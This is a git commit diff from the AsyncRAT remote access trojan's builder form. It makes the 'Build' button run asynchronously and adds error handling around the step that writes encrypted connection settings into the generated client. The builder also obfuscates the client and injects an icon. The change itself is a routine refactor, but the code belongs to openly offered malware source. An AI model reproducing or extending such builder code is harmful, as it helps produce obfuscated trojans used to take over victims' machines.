Add async await

This commit is contained in:
NYAN CAT 2019-06-15 18:24:45 +03:00
parent fd30af56f7
commit 32da8715c4

View File

@ -12,6 +12,7 @@ using System.IO;
using System.Linq; using System.Linq;
using dnlib.DotNet.Emit; using dnlib.DotNet.Emit;
using Server.RenamingObfuscation; using Server.RenamingObfuscation;
using System.Threading.Tasks;
namespace Server.Forms namespace Server.Forms
{ {
@ -170,7 +171,7 @@ namespace Server.Forms
catch { } catch { }
} }
private void BtnBuild_Click(object sender, EventArgs e) private async void BtnBuild_Click(object sender, EventArgs e)
{ {
if (listBoxIP.Items.Count == 0 || listBoxPort.Items.Count == 0) return; if (listBoxIP.Items.Count == 0 || listBoxPort.Items.Count == 0) return;
@ -194,6 +195,9 @@ namespace Server.Forms
saveFileDialog1.OverwritePrompt = false; saveFileDialog1.OverwritePrompt = false;
saveFileDialog1.FileName = "Client"; saveFileDialog1.FileName = "Client";
if (saveFileDialog1.ShowDialog() == DialogResult.OK) if (saveFileDialog1.ShowDialog() == DialogResult.OK)
{
btnBuild.Enabled = false;
await Task.Run(() =>
{ {
WriteSettings(asmDef); WriteSettings(asmDef);
if (chkObfu.Checked) if (chkObfu.Checked)
@ -211,6 +215,7 @@ namespace Server.Forms
{ {
IconInjector.InjectIcon(saveFileDialog1.FileName, txtIcon.Text); IconInjector.InjectIcon(saveFileDialog1.FileName, txtIcon.Text);
} }
});
MessageBox.Show("Done!", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information); MessageBox.Show("Done!", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
SaveSettings(); SaveSettings();
this.Close(); this.Close();
@ -220,6 +225,7 @@ namespace Server.Forms
catch (Exception ex) catch (Exception ex)
{ {
MessageBox.Show(ex.Message, "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error); MessageBox.Show(ex.Message, "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error);
btnBuild.Enabled = true;
} }
} }
@ -312,6 +318,8 @@ namespace Server.Forms
} }
private void WriteSettings(ModuleDefMD asmDef) private void WriteSettings(ModuleDefMD asmDef)
{
try
{ {
var key = Methods.GetRandomString(32); var key = Methods.GetRandomString(32);
var aes = new Aes256(key); var aes = new Aes256(key);
@ -410,6 +418,11 @@ namespace Server.Forms
} }
} }
} }
catch (Exception ex)
{
throw new ArgumentException("WriteSettings: " + ex.Message);
}
}
private readonly Random random = new Random(); private readonly Random random = new Random();